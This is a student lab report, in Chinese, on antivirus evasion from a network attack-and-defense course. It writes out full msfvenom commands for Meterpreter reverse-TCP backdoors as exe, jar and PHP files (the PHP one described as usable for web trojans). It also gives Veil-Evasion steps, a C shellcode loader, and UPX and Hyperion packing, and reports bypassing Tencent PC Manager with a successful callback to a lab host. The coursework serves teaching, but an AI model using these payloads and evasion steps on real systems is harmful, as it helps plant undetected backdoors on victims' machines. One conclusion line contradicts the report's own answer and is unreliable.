2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233
Exp3 免杀原理与实践
实验内容
一、基础问题回答
1、杀软是如何检测出恶意代码的?
基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的。
启发式的软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的检测:一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描。基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2、免杀是做什么?
- 通过改变形态,例如加壳,或者
shellcode+编码器,或者用其他语言重新编译(veil-evasion),以达到使恶意软件无法被杀毒软件查杀的目的。 
3、免杀的基本方法有哪些?
一些基本的方法见上题。
改变特征码
如果你手里只有EXE
- 加壳:压缩壳 加密壳
 
有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
有源代码
- 用其他语言进行重写再编译(veil-evasion)
 
改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
二、实验步骤
实验点一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
此次实验win7和kali虚拟机都是用网络桥接模式
win7的IP:10.1.1.159
kali的IP:10.1.1.177
1、正确使用msf编码器
- 通过
msfvenom,可以得知常用的命令 

- 编码一次命令如下(用-e参数编码):
 
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.1.1.177 LPORT=5233 -f exe > 5233encoded.exe

- 使用virscan网站进行扫描,结果如下:
 

- 编码十次命令如下(用-i参数指定编码次数):
 
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.1.1.177 LPORT=5233 -f exe > 5233encoded10.exe

- 使用virscan网站进行扫描,结果如下:
 

- 通过对比,发现多次编译似乎没什么太大作用...
 
2、msfvenom生成如jar之类的其他文件
- 用命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 x> 20165233_backdoor_java.jar生成.jar文件: 

- 用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 x> 20165233_backdoor.php生成php文件(可用于网页挂马): 

3、veil-evasion
用
sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get update和sudo apt-getupgrade这两个命令更新一下软件包即可。之后用
veil命令打开Veil,输入y继续安装直至完成,这个过程中真的出现了好多error...两天都在安装这个庞然大物...

- 最后终于成功了!
 

- 用
use evasion命令(或者use 1)进入Evil-Evasion: 

- 输入命令
use c/meterpreter/rev_tcp.py进入配置界面(如果想利用其他语言进行编译,可以通过命令list payloads进行查看),先设置输出.exe文件名: 

- 用
set LHOST ip命令设置ip(注意此处使用的是Kali的IP),用set LPORT PORT命令设置端口号: 

- 再用
generate命令生成.exe文件: 

- 使用virscan网站进行扫描,结果如下:
 

- 结果还是不尽如人意。
 
4、使用shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 -f c用c语言生成一段shellcode:

- 创建一个文件
5233shellcode.c,然后将unsigned char buf[]赋值到其中,代码如下: 
unsigned char buf[] =
/*如上图*/
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

- 使用命令
i686-w64-mingw32-g++ 5233shellcode.c -o 5233shellcode.exe编译这个.c文件为可执行文件: 

- 使用virscan网站进行扫描,结果如下:
 

- 在kali上打开
msfconsole,并使用ncat将5233shellcode.exe传入win7中,运行时,被360杀毒软件发现。 


5、加壳工具
(1)压缩壳UPX
- Kali下输入命令
upx 5233shellcode.exe -o 5233shellcode.upxed.exe: 

- 使用virscan网站进行扫描,结果如下:
 

(2)加密壳Hyperion
将
5233shellcode.upxed.exe复制到/root下;进入目录
/usr/share/windows-binaries/hyperion/中;输入命令
wine hyperion.exe -v 5233shellcode.upxed.exe 5233shellcode.upxed.Hyperion.exe进行加壳:


- 使用virscan网站进行扫描,结果如下:
 

- 比起压缩壳,这个加密壳性能更差...还不如不加...
 
实验点二:通过组合应用各种技术实现恶意代码免杀
- 通过半手工shellcode + 压缩壳实现了在电脑管家下的恶意代码免杀。任务成功截图如下:
 


- 杀软与恶意代码的可执行文件共生:
 


实验点三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
恶意代码的可执行文件仍旧使用上一实验点中的
电脑的杀软名称与版本:腾讯电脑管家 13.0.19837.233
任务成功截图:

- 回连成功
 

三、开启杀软能绝对防止电脑中恶意代码吗?
答:不能。由于杀软的病毒特征库更新不及时、不完全之类的问题,所以有些使用自己私人的,未公开的加密shellcode,很难被杀软捕捉到。所以开启杀软能绝对防止电脑中恶意代码。
实验中遇到的问题
在win7虚拟机上,可以成功接收到kali传过来的恶意代码可执行文件,但是双击运行后,就会出现程序停止运行的情况。

- 现在仍然不知道是什么问题。猜测是因为后门的这个恶意代码太垃圾,被电脑管家直接杀掉了。
 
实践总结与体会
通过本次实验,明白电脑为什么即使有杀软也很容易中病毒的原因了。以前在网页浏览器上下载各种应用软件并不会考虑那么多,觉得自己有防火墙和杀软就“百毒不侵”了,实际上漏洞到处都是,电脑时刻都处在危险之中。包括很多应用程序不在官方商城更新,而是在自己内部更新的情况,都是会让电脑中病毒的方式,所以现在上网点击啥东西之前都会先想想,没那么草率地就关闭网页上的阻止拦截窗口。也发现其实一个后门的成本比较低廉,所以时刻防范。
2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
		
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
 - 20155227《网络对抗》Exp3 免杀原理与实践
		
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
 - 20155232《网络对抗》Exp3 免杀原理与实践
		
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
 - 20155302《网络对抗》Exp3 免杀原理与实践
		
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
 - 20155323刘威良《网络对抗》Exp3 免杀原理与实践
		
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
 - 20155333 《网络对抗》Exp3 免杀原理与实践
		
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
 - 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
		
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
 - 20155218《网络对抗》Exp3 免杀原理与实践
		
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
 - 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
		
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
 - 20155338《网络对抗》Exp3 免杀原理与实践
		
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
 
随机推荐
- 查找单链表的倒数第k个值
			
刚开始,我想到的是一种笨方法,先遍历单链表,计算出单链表的长度len,然后再从头遍历单链表到第len-k个节点,那么 这个节点既是单链表的倒数第k个节点. 不过这种算法时间复杂度挺高的,还有一种更简单 ...
 - Unity 3D换装系统教程/Demo
			
Unity3D换装系统教程 本文提供全流程,中文翻译.Chinar坚持将简单的生活方式,带给世人!(拥有更好的阅读体验 -- 高分辨率用户请根据需求调整网页缩放比例) 1 Costume Change ...
 - 《DSP using MATLAB》Problem 4.14
			
代码: %% ---------------------------------------------------------------------------- %% Output Info a ...
 - JQuery实现高级检索功能
			
https://blog.csdn.net/muziruoyi/article/details/44494465 < div id= "0" class ="row ...
 - (转) C++中成员初始化列表的使用
			
C++在类的构造函数中,可以两种方式初始化成员数据(data member). 1,在构造函数的实现中,初始类的成员数据.诸如: class point{private: int x,y;public ...
 - IP地址 无限网卡的MAC地址
 - Jmeter 在linux下的分布式压测
			
Jmeter 在linux下的分布式压测 0.将 windows机器作为master 控制机(同时也兼做负载机slave), linux机器作为 负载机 slave. 1.linux环境安装 : (1 ...
 - load-display-image之c#版
			
基本功能 能够从文件load图像 -->显示图像-->在图像上方显示graphics,比如几条线-->鼠标移动,显示鼠标位置的灰度 load-display-image之c#版 lo ...
 - RAC5——11gR2以后GI进程的变化
			
参考文档: 11gR2 Clusterware and Grid Home - What You Need to Know (Doc ID 1053147.1)诊断 Grid Infrastructu ...
 - Vs2008应用程序升级为vs2012
			
Vs2008应用程序升级为vs2012 编写人:左丘文 2015-5-21 近来一直有想法,想将开发环境升级 vs2008到vs2012,在此做个小结,将自己碰到的一系统问题,分享出来,以供参考.有兴 ...